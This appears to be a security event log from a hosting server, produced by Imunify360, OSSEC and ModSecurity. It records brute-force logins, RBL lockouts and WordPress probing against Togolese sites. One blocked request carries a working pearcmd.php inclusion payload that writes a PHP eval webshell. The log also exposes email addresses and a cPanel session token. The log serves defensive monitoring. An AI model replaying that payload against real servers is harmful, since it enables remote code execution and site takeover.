2026-06-05 11:58:08 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:1553: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350942
name: IM360 WAF: Dangerous PHP functions in REQUEST_URI
abuser: 43.134.189.190
country_id: 1880251
domain: brmn.tg
description:
IM360 WAF: Dangerous PHP functions in REQUEST_URI||MV:/index.php?rest_route=/essential-blocks/v1/products&is_frontend=true&attributes={\"__file\":\"/usr/local/lib/php/pearcmd.php\"}& config-create /<?=@eval($_REQUEST[0]);?> ss.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 11:59:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:1563: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 59.6.41.4
country_id: 1835841
description:
Jun  5 11:59:32 ns5 pure-ftpd[1607979]: (?@59.6.41.4) [WARNING] Authentication failed for user [www-data]


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 43.134.189.190
country_id: 1880251
domain: brmn.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.14||T:APACHE||SC:/home/zgqykfsi/public_html/session.php||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f1be807c6229edb64fe1b9492b4bc40625d67468||Title:uoo7423rpunt4ccnc||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:00:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:22656: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0282ac909cf248cb18e8d9dda72ae6084d978418||Title:mgcnc50ilonsdao||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:01:43 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:23042: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 118.195.135.48
country_id: 1814991
description:
Jun  5 12:00:56 ns5 pure-ftpd[1609168]: (?@118.195.135.48) [WARNING] Authentication failed for user [www-data]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:01:27 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:23040: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 12:00:52 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48656: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 118.195.135.48
country_id: 1814991
description:
Jun  5 12:00:51 ns5 pure-ftpd[1609168]: (?@118.195.135.48) [INFO] New connection from 118.195.135.48


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a9076f4ca5ce10200868064f3b44dabd683482b||Title:1tgbx17agwsbjhe||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:01:49 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:23043: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca24fe329b26d95653e0b960805bbf0d88aeb7a2||Title:lkd07nqpypx87e13||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:03:36 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9859: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7ec1ba4255d8593afad2afbb8c537d29322b1326||Title:bpcxwvbt7tbh1u||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.69.62
country_id: 6252001
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/robots.txt HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.181
country_id: 798544
description:
Jun  5 12:04:19 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c3bd73eb4ed6dab64deeffc914931f1c49262db0||Title:iponwttsgfmxmivi||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.55.165.145
country_id: 1814991
description:
2026-06-05 12:04:36 H=([119.55.165.145]) [119.55.165.145]:43719 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.155
country_id: 1269750
description:
Jun  5 12:04:37 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ca9c8913c108fdb831141ba2fad800f68b829da3||Title:4d55iz0fo86kn5||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.155
country_id: 1269750
description:
Jun  5 12:04:50 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:04:54 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9885: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:06:42 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9888: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.102.244.115
country_id: 798544
description:
149.102.244.115 - - [05/Jun/2026:12:07:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247766&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1745&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780661237 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1745" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.102.244.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.41.68.168
country_id: 690791
description:
31.41.68.168 - - [05/Jun/2026:12:06:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6931822&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780661207 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.41.68.168


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 31.41.68.168
country_id: 690791
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 31.41.68.168
country_id: 690791
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/?who=authors&per_page=100&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:07:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9892: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 145.255.1.167
country_id: 2017370
description:
2026-06-05 12:07:57 H=([145.255.1.167]) [145.255.1.167]:16479 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.31
country_id: 1512440
description:
2026-06-05 12:09:06 H=([84.54.72.48]) [84.54.70.31]:1120 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:08:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9893: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:09:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9894: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:10:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9897: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:11:57 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9899: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:12:58 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9902: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.78.138.31
country_id: 2363686
description:
[2026-06-05 12:14:13 +0000] info [webmaild] 41.78.138.31 - raouf.damtare@togointerim.net "GET /cpsess5938108310/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:13:59 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9905: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:15:01 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9909: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:16:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9913: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:17:12 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9914: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:18:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9917: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.227
country_id: 3469034
description:
Jun  5 12:18:45 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.207
country_id: 3469034
description:
Jun  5 12:18:45 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.140
country_id: 690791
description:
Jun  5 12:18:51 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.173
country_id: 732800
description:
Jun  5 12:19:07 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:19:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9918: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.146.144
country_id: 1819730
description:
Jun  5 12:19:01 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.146.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.146.144
country_id: 1819730
description:
2026-06-05 12:19:03 dovecot_login authenticator failed for H=(158.178.199.112.unknown.m1.com.sg) [121.202.146.144]:48713: 535 Incorrect authentication data (set_id=jdelbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:20:38 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9922: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.96.67
country_id: 3469034
description:
Jun  5 12:19:53 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.96.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.92.213.198
country_id: 614540
description:
Jun  5 12:20:12 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.92.213.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:21:33 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9924: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.61
country_id: 953987
description:
Jun  5 12:21:35 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.61 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160605||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Earn Your Novenary Bonus sepoladi.blogspot.jp tm||Email:makremdaoues@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77142124
name: IM360 WAF: Track WordPress registration flood
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress registration flood||WPU:||RSV:8.14||T:APACHE||MVN:ARGS:action||MV:register||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.61
country_id: 953987
description:
Jun  5 12:21:48 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.42
country_id: 298795
description:
Jun  5 12:21:53 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:23:43 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9928: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:24:44 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9929: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-05 12:24:31 +0000] info [cpaneld] 102.176.253.226 NEW ucaouut:CvhfTj2VB2o4yQ0p address=102.176.253.226,app=cpaneld,creator=ucaouut,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.194
country_id: 2395170
description:
Jun  5 12:25:37 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.209
country_id: 3469034
description:
Jun  5 12:25:39 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.109.125
country_id: 3865483
description:
Jun  5 12:25:38 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.109.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.39.106.0
country_id: 1168579
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/donnee HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.109.125
country_id: 3865483
description:
Jun  5 12:25:46 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.109.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:25:47 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9933: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.249.194
country_id: 2395170
description:
Jun  5 12:25:50 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.249.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.251
country_id: 690791
description:
Jun  5 12:25:57 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.242
country_id: 226074
description:
Jun  5 12:26:04 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.184
country_id: 3469034
description:
Jun  5 12:26:14 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.209
country_id: 3469034
description:
Jun  5 12:25:48 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:26:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9934: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:27:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9936: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:28:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9941: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:29:47 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9944: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:30:47 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9946: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:31:49 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9947: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:32:49 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9954: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:33:50 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9958: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 204.157.178.91
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/46.jpeg HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:34:51 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9960: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.188
country_id: 3865483
description:
Jun  5 12:36:10 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.58
country_id: 1269750
description:
Jun  5 12:36:34 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:35:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9963: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.216
country_id: 3175395
description:
Jun  5 12:36:04 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.58
country_id: 1269750
description:
Jun  5 12:36:46 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:36:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9964: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:37:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9967: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.250.239.252
country_id: 2635167
description:
2026-06-05 12:38:27 dovecot_plain authenticator failed for H=d6110.lon1.stableserver.net (j7ccvcjava6gr0nz) [192.250.239.252]:40442: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [05/Jun/2026:12:38:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7325640&pdata=https%253A%252F%252Fzephyr.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780663121 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [05/Jun/2026:12:38:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066068&pdata=http%253A%252F%252Fzephyr.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780663124 HTTP/1.1" 302 0 zephyr.tg "http://zephyr.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [05/Jun/2026:12:38:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212062&pdata=https%253A%252F%252Fzephyr.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780663126 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
